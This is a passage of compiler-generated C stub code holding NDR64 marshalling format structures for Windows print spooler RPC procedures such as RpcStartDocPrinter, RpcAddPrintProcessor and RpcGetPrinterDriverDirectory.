_NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 16 /* 0x10 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag383_t __midl_frag383 =\n{ \n/* *DOC_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag384\n};\n\nstatic const __midl_frag382_t __midl_frag382 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag381_t __midl_frag381 =\n{ \n/* __MIDL_winspool_0003 */\n    { \n    /* __MIDL_winspool_0003 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag382,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag383,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag380_t __midl_frag380 =\n{ \n/* DOC_INFO_CONTAINER */\n    { \n    /* DOC_INFO_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* DOC_INFO_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag381\n        },\n        { \n        /* DOC_INFO_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag379_t __midl_frag379 =\n{ \n/* *DOC_INFO_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag380\n};\n\nstatic const __midl_frag378_t __midl_frag378 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag377_t __midl_frag377 =\n{ \n/* RpcStartDocPrinter */\n    { \n    /* RpcStartDocPrinter */      /* procedure RpcStartDocPrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag378,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pDocInfoContainer */      /* parameter pDocInfoContainer */\n        &__midl_frag380,\n        { \n        /* pDocInfoContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pJobId */      /* parameter pJobId */\n        &__midl_frag403,\n        { \n        /* pJobId */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag403,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag374_t __midl_frag374 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1091\n};\n\nstatic const __midl_frag366_t __midl_frag366 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag387\n};\n\nstatic const __midl_frag363_t __midl_frag363 =\n{ \n/* RpcGetPrintProcessorDirectory */\n    { \n    /* RpcGetPrintProcessorDirectory */      /* procedure RpcGetPrintProcessorDirectory */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag366,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag366,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag403,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pPrintProcessorDirectory */      /* parameter pPrintProcessorDirectory */\n        &__midl_frag653,\n        { \n        /* pPrintProcessorDirectory */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1091,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag1091,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1091,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag347_t __midl_frag347 =\n{ \n/* RpcEnumPrintProcessors */\n    { \n    /* RpcEnumPrintProcessors */      /* procedure RpcEnumPrintProcessors */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag366,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag366,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag403,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pPrintProcessorInfo */      /* parameter pPrintProcessorInfo */\n        &__midl_frag653,\n        { \n        /* pPrintProcessorInfo */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag403,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag403,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag403,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag403,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag344_t __midl_frag344 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag387\n};\n\nstatic const __midl_frag337_t __midl_frag337 =\n{ \n/* RpcAddPrintProcessor */\n    { \n    /* RpcAddPrintProcessor */      /* procedure RpcAddPrintProcessor */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag366,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag387,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPathName */      /* parameter pPathName */\n        &__midl_frag387,\n        { \n        /* pPathName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pPrintProcessorName */      /* parameter pPrintProcessorName */\n        &__midl_frag387,\n        { \n        /* pPrintProcessorName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag403,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag329_t __midl_frag329 =\n{ \n/* RpcDeletePrinterDriver */\n    { \n    /* RpcDeletePrinterDriver */      /* procedure RpcDeletePrinterDriver */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag366,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag387,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pDriverName */      /* parameter pDriverName */\n        &__midl_frag387,\n        { \n        /* pDriverName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag403,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag315_t __midl_frag315 =\n{ \n/* RpcGetPrinterDriverDirectory */\n    { \n    /* RpcGetPrinterDriverDirectory */      /* procedure RpcGetPrinterDriverDirectory */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag366,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag366,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag406,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pDriverDirectory */      /* parameter pDriverDirectory */\n        &__midl_frag653,\n        { \n        /* pDriverDirectory */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag403,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag403,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag403,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag312_t __midl_frag312 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    